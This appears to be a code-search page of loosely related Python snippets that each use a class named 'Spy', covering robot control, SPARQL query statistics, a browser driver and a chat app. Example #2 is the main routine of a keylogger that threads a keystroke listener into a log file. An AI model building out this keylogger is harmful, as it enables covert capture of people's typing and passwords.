Example #1
0
def launch(baseType='mecanum', debug=True, record=True, openViewer=False, openROS=False):
    global __isLaunched
    if not __isLaunched:
        global base, merge, dash, feed, flow, remote, spy
        base = Mecanum() if baseType == 'mecanum' else Omni()
        merge = Merge()
        dash = Dash(base, merge)
        feed = Feed(dash)
        flow = Flow(dash, debug=debug)
        remote = Remote(dash, flow)
        spy = Spy(dash)
        __isLaunched = True
    base.enable()
    if record:
        spy.begin()
    if openViewer:
        from viewer import Viewer
        global viewer
        viewer = Viewer(dash)
    if openROS:
        from ros import Ros
        global ros
        ros = Ros(dash)
Example #2
0
def main():
    # Create debug logger
    debugger = Logger(DEBUGGER_FILENAME)
    debugger.write("Debugger launched.", prefix="[+]")

    # Create key logger
    keylog = Logger(KEYLOG_FILENAME)
    debugger.write("Keys logged in file: " + KEYLOG_FILENAME, prefix="[+]")

    try:
        spy = Spy()

        # Set up threads
        spy_thread = Job(1,
                         "spy_thread",
                         debugger,
                         spy.create_listener,
                         args=keylog,
                         repeat=1)
        print_to_log = Job(2,
                           "print_to_log",
                           debugger,
                           spy.print_and_clear,
                           args=keylog)
        print_to_log.set_timer(TIMING)

        # Start threads
        spy_thread.start()
        print_to_log.start()

        # Wait for completion
        spy_thread.join()
        print_to_log.join()

    except KeyboardInterrupt:
        try:
            # Give time to log keycodes stored in spy's internal variable
            time.sleep(TIMING)
            debugger.write("Terminating before completion ... ", prefix="[-]")
            sys.exit(0)
        except SystemExit:
            os._exit(0)

    # Finish up
    debugger.write("Terminating ... ", prefix="[+]")
def execute(server, dataset, query, format):
    sparql = SPARQLWrapper(server)
    sparql.setQuery(query)
    sparql.setReturnFormat(select_format(format))
    sparql.addParameter("default-graph-uri", dataset)

    stats = Spy()

    try:
        start = time()
        results = sparql.query()
        formatedResults = stringify_result(results.convert(), format)
        execution_time = time() - start

        stats.report_execution_time(execution_time)
        stats.report_data_transfer(sys.getsizeof(formatedResults))
        stats.report_nb_calls(1)

        return formatedResults, stats
    except Exception as error:
        logger.error(f"An error occured during query execution:\n{error}")
        sys.exit(1)
Example #4
0
 def init_driver(self):
     driver = Spy(self.browser, self.url, self.executable, wp=self.window_position, ws=self.window_size)
     return driver
Example #5
0
def main():
    spy = Spy()
    spy.spying()
Example #6
0
def execute(server, dataset, query):
    accumulator = GenericReducer()
    spy = Spy()
    http.execute(server, dataset, query, accumulator, spy)
    return accumulator, spy
Example #7
0
 def fetchUnionApps(self):
     ret = Spy.getListForAndroid(self.tid)
     softlist = []
     if ret is not None:
         softlist = ret["softlist"]
Example #8
0
# importng modules

from spy import Spy
from start_chat import start_chat

# only call by main
if __name__ == "__main__":
    print "Let's get started"
    # want to know user choice about login
    choice = raw_input('You want to start as guest Y/N : ')

    obj = Spy()

    if choice == "y" or choice == "Y":
        # getting guest user data
        # setting user data
        obj.setDetail()

    elif choice == "n" or choice == "N":
        # getting user data
        info = obj.get_user_info("your")
        # checking for error
        if info is False:
            print "Error in getting spy detail"
            exit(-1)

    else:
        print "Wrong Input"
        exit(-1)

    print "Authentication complete. Welcome"